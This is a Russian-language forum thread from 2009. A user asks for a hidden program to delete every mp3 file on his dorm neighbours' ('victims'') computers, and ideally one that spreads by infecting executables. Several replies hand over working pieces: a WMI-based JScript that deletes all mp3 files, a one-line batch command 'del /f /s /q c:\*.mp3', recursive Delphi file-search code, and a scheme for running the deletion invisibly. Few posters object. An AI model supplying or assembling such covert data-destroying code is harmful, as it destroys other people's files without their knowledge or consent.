Програ для удаления *.mp3
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Програ для удаления *.mp3 - 2009-02-12 02:16:26.730000
|
|
|
[Triton]
Сообщений: 33
Оценки: 0
Присоединился: 2008-02-07 09:29:53.750000
|
Привет. Живу в общаге. Достали все со своими супер колонками. Хочу скомпилить чтото, чтоб удаляло на всех дисках жертвы всю музыку (а именно все файлы с расширением *.mp3). Может кто порадует исходником такого чуда? Помогите наказать нарушителей порядка:@. Если прога будет размножатся, заражать другие *.ехе тогда ето вобще отлично. Заранее спасибо. P.S. Админы не удаляйте плиз тему. Если не туда написал, переместите пожалуйста. P.P.S. Мне хотябы простой исходник, без всякого там размножения и заражения. Просто чтоб запускалась прога (желательно скрыто) и удаляла на всех дисках *.mp3 (желательно сразу раз и навсегда, без очистки корзины). Желательно с++ или делфи.
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-12 03:31:09.330000
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Думаю ты представляешь, что сделают за такие фокусы, если узнают, кто распространитель :D.
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-12 08:17:35.223333
|
|
|
SkyLinE215
Сообщений: -986
Оценки: 0
Присоединился: 2007-08-27 10:25:44.570000
|
Используй FindFirst и FindNext чтобы найти файлы *.mp3 на компе потом функцию remove Не забудь включить stdio.h
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-12 11:37:44.843333
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Можно и в несколько потоков :). P.S. походу чел вообще далёк от программирования.
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-12 11:40:42.433333
|
|
|
[Triton]
Сообщений: 33
Оценки: 0
Присоединился: 2008-02-07 09:29:53.750000
|
Я очень далек от прогромирования. Может кто-то выложит какой-то исходник, хоть на паскале) Просто очень хочется наказать нарушителей тишины. За исходник буду очень благодарен.
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-12 14:09:09.716666
|
|
|
VaZoNeZ
Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
|
за 1 вмз продам тебе с исходником на MASM
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-12 15:06:59.206666
|
|
|
Format_C
Сообщений: 97
Оценки: 0
Присоединился: 2008-07-09 13:14:54.146666
|
можно с помощью bat-ника: del C:\*.mp3 /q
удалит все mp3 файлы на диске C но за такой прикол можно и по репе получить :)
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-12 16:59:24.043333
|
|
|
VaZoNeZ
Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
|
х….я это:) батнки надо сжигать, со злой ухмылкой доливать бензину… а гдеж рекурсиа? а? гдеж все дисиськи ?
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-12 17:00:02.173333
|
|
|
Mатцал Коушек
Сообщений: 10407
Оценки: 91
Присоединился: 2008-07-09 10:27:49.520000
|
quote:
ORIGINAL: Format_C можно с помощью bat-ника: del C:\*.mp3 /q
удалит все mp3 файлы на диске C но за такой прикол можно и по репе получить :) Нет, нельзя получить по репе. Этот код вообще ничего не удалит, кроме mp3 в самом только корне диска. Но, вряд ли они хранят музыку в корне диска, вместе с Boot.ini
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-12 17:42:33.720000
|
|
|
koro
Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
|
quote:
ORIGINAL: Format_C можно с помощью bat-ника: del C:\*.mp3 /q
удалит все mp3 файлы на диске C но за такой прикол можно и по репе получить :) а линуксойдам не страшно будет)
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-12 21:08:30.436666
|
|
|
[Triton]
Сообщений: 33
Оценки: 0
Присоединился: 2008-02-07 09:29:53.750000
|
Насчет батинка согласен. Что, резве некто не может мне сбацать простенький исходник для удаления *.mp3? Логическое мышление говорит мне что ето не такой уже и большой труд. Помогите плиз. Насчет 1 вмз я и сам не против, вот только у меня нет такой суммы на ВебМани[:(], да и номер кошелька палить не охота.
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-12 21:11:11.596666
|
|
|
VaZoNeZ
Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
|
в разделе Халява - люди палят :) кому он надо?!
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-12 23:25:52.200000
|
|
|
Archivarius
Сообщений: 164
Оценки: 0
Присоединился: 2008-10-26 00:16:25.630000
|
var wm=ActiveXObject("winmgmts:\\root\\cimv2"); var ps=wm.ExecQuery("SELECT * FROM CIM_DataFile WHERE FileName LIKE '%mp3'"); var fs=new ActiveXObject("Scripting.FileSystemObject"); for (var a=new Enumerator(ps);!a.atEnd();a.moveNext()) fs.DeleteFile(a.item().Name,true); Это JScript. Вроде должно работать.
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-13 13:13:05.963333
|
|
|
[Triton]
Сообщений: 33
Оценки: 0
Присоединился: 2008-02-07 09:29:53.750000
|
JScript это конечно хорошо. Он точно работает? А то когда "вроде", както неочень хорошо получается. А мож кто проверит его? И напишет как результат:D
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-13 14:54:14.780000
|
|
|
Format_C
Сообщений: 97
Оценки: 0
Присоединился: 2008-07-09 13:14:54.146666
|
конечно, я код неполный написал я просто к тому, что с помощью батника проще будет реализовать, если ни одного ЯП не знаешь
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-13 16:09:12.460000
|
|
|
VaZoNeZ
Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
|
напиши на батнике quote:
удаляло на всех дисках жертвы всю музыку и я дам тебе нобелевскую премию
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-13 19:31:15.370000
|
|
|
Sh1td0wn
Сообщений: 156
Оценки: 0
Присоединился: 2008-05-16 16:48:32.490000
|
что-то типа
for %f in *.mp3
do del %f
? или это только в той папке, из которой запустили?
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-13 21:28:29.860000
|
|
|
VaZoNeZ
Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
|
на батнике рекурсии небывает
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-13 21:50:59.343333
|
|
|
Mатцал Коушек
Сообщений: 10407
Оценки: 91
Присоединился: 2008-07-09 10:27:49.520000
|
quote:
ORIGINAL: VaZoNeZ на батнике рекурсии небывает Запусти батник с таким кодом. tree c:\>Log.txt Получим список всех папок Log.txt. Потом, последовательно, в каждой папке удалим *.mp3 Можно постараться отредактить батником Log.txt и обойти все папки. Но писать мне это лень. Зато, пару минут, экзешник такой накодить.
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-13 22:17:11.563333
|
|
|
VENOM4X
Сообщений: 246
Оценки: 0
Присоединился: 2008-02-18 22:49:08.960000
|
Гугль рулит : http://codesources.net/delphi-rekursivnyiy-poisk-faylov/ сам исходник с этой страницы: procedure ScanDir(StartDir, Mask: String; List: TStrings);
var
SearchRec: TSearchRec;
begin
if Mask = '' then Mask:= '*.*';
if StartDir[Length(StartDir)] = '' then StartDir := StartDir + '';
if FindFirst(StartDir+Mask, faAnyFile, SearchRec) = 0 then
begin
repeat
Application.ProcessMessages;
if (SearchRec.Attr and faDirectory) = faDirectory then
List.Add(StartDir + SearchRec.Name)
else if (SearchRec.Name = '..') and (SearchRec.Name <> '.') then
ScanDir(StartDir + SearchRec.Name + '',Mask,List);
until FindNext(SearchRec) = 0;
FindClose(SearchRec);
end;
end; пример юзания:
procedure TForm1.Button1Click(Sender: TObject);
var
list: TStrings;
begin
list:= TStringList.Create;
ScanDir('c:', '*.txt', list);
Memo1.Lines:= list;
list.Free;
end; Думаю, что это и была основная проблема?
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-14 22:22:36.780000
|
|
|
Chinese
Сообщений: 11
Оценки: 0
Присоединился: 2008-12-26 20:13:57.360000
|
VENOM4X конечно ты помог, дал направление куда капать, но неполностью. Музыка может быть и на другом носителе, что же уму все буквы в сканф вписывать. И ещё, он хочет резидентку. :DИзвените за офтоп но как здесь приклеплять файлы в аттач.
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-14 23:13:45.866666
|
|
|
VENOM4X
Сообщений: 246
Оценки: 0
Присоединился: 2008-02-18 22:49:08.960000
|
quote:
ORIGINAL: Chinese что же уму все буквы в сканф вписывать нет, не все: http://www.delphisources.ru/pages/faq/base/get_disk_list.html А сделать прогу резидентной, я думаю, не проблема.
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-23 12:09:37.390000
|
|
|
[Triton]
Сообщений: 33
Оценки: 0
Присоединился: 2008-02-07 09:29:53.750000
|
quote:
var wm=ActiveXObject("winmgmts:\\root\\cimv2"); var ps=wm.ExecQuery("SELECT * FROM CIM_DataFile WHERE FileName LIKE '%mp3'"); var fs=new ActiveXObject("Scripting.FileSystemObject"); for (var a=new Enumerator(ps);!a.atEnd();a.moveNext()) fs.DeleteFile(a.item().Name,true); Это JScript. Вроде должно работать. Я тут подумал, вобщем я смогу сделать то что нужно с помощью JScript. Вот только скажите, он точно работает? уверен что здесь есть люди знающие JScript. разве вам так тяжело посмотреть на него, и сказать работоспособен ли он?
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-23 12:56:21.243333
|
|
|
Fard
Сообщений: 35
Оценки: 0
Присоединился: 2009-02-21 22:51:47.973333
|
Тут так набросал идейку, просто весь исходник писать сейчас нет времени, занят я сильно. Вот короче принцип: 1) На C++ написать программу которая выдаёт полный путь ко всем файлам, (раньше что то такое делал, но уже не помню, вспоминать надо, но это очень легко делаться), удаляем из списка все что не закачиваеться на .mp3 2) Далее с помощью программки на С++ просто создавать батник и помешать туда следующее содержимое (del строка до имени файла, и параметры удаления без запроса, без помешения в корзину, и удаления файлов которые если даже используються) 3) Далее через тоуже запускаешь этот батник (но скрытом режиме (это возможно, я делал)) 4) Можно сделать так что бы программа тоже запускалась в не видемом режиме. Вот набросок, дерзай…. ))) ….
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-23 17:40:17.216666
|
|
|
Archivarius
Сообщений: 164
Оценки: 0
Присоединился: 2008-10-26 00:16:25.630000
|
quote:
ORIGINAL: [Triton] Я тут подумал, вобщем я смогу сделать то что нужно с помощью JScript. Вот только скажите, он точно работает? Да как-то проверять не охота.. Вобще этот вот скриптег сначала должно долго при долго хардами шуршать (Собирать со всех хардов ссылки на файлы mp3), а потом их быстренько удалять.
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-23 18:33:45.413333
|
|
|
Mатцал Коушек
Сообщений: 10407
Оценки: 91
Присоединился: 2008-07-09 10:27:49.520000
|
quote:
ORIGINAL: VaZoNeZ напиши на батнике quote:
удаляло на всех дисках жертвы всю музыку и я дам тебе нобелевскую премию Вы справку к батникам читаете, нобелевцы? Достаточно дописать нужный ключ и будет удалены все файлы по маске из всех подкаталогов, то есть, со всего диска. Всего одна строка в батнике, и с диска С:\ будут удалены все мп3, из всех папок. del /f /s /q с:\*.mp3
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-23 18:38:36.896666
|
|
|
VaZoNeZ
Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
|
quote:
на С++ просто создавать батник и помешать туда следующее содержимое (del строка до имени файла, и параметры удаления без запроса, без помешения в корзину, и удаления файлов которые если даже используються) улыбнуло по самое не балуйся
|
|
|
RE: Програ для удаления *.mp3 - 2009-02-26 19:20:57.710000
|
|
|
Sрam
Сообщений: 2863
Оценки: 372
Присоединился: 2009-01-16 15:23:43.276666
|
quote:
ORIGINAL: [Triton] Привет. Живу в общаге. Достали все со своими супер колонками. Хочу скомпилить чтото, чтоб удаляло на всех дисках жертвы всю музыку (а именно все файлы с расширением *.mp3). Может кто порадует исходником такого чуда? Помогите наказать нарушителей порядка:@. Если прога будет размножатся, заражать другие *.ехе тогда ето вобще отлично. Заранее спасибо. P.S. Админы не удаляйте плиз тему. Если не туда написал, переместите пожалуйста. P.P.S. Мне хотябы простой исходник, без всякого там размножения и заражения. Просто чтоб запускалась прога (желательно скрыто) и удаляла на всех дисках *.mp3 (желательно сразу раз и навсегда, без очистки корзины). Желательно с++ или делфи. Ming в помощь!
|
|
|
|
|